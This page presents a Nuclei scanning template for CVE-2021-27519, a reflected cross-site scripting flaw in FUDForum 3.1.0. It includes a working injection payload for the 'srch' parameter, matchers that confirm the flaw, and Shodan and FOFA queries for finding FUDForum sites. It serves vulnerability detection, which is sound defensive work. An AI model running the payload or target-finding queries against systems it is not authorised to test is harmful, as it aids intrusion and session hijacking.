FUDForum 3.1.0 - Cross-Site Scripting

ID: CVE-2021-27519

Severity: medium

Author: kh4sh3i

Tags: cve2021,cve,xss,fudforum,edb,packetstorm

Description

FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the “srch” parameter.

YAML Source

id: CVE-2021-27519

info:
  name: FUDForum 3.1.0 - Cross-Site Scripting
  author: kh4sh3i
  severity: medium
  description: |
    FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the "srch" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49942
    - https://github.com/fudforum/FUDforum/issues/2
    - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27519
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27519
    cwe-id: CWE-79
    epss-score: 0.00217
    epss-percentile: 0.59671
    cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fudforum
    product: fudforum
    shodan-query:
      - 'http.html:"Powered by: FUDforum"'
      - http.html:"fudforum"
      - 'http.html:"powered by: fudforum"'
    fofa-query:
      - 'body="powered by: fudforum"'
      - body="fudforum"
  tags: cve2021,cve,xss,fudforum,edb,packetstorm

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'highlightSearchTerms("x" onmouseover=alert(1) x="");'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200e1d4abb0fd5ee480d8f4c9dd10ac57352e9fd1b01d4928f873cc6aa3a7303cf02206fa03ef686ffeef0e3e1db39fdda8ad4b1a68018b6d413be95ce6f9af82788e4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27519.yaml"

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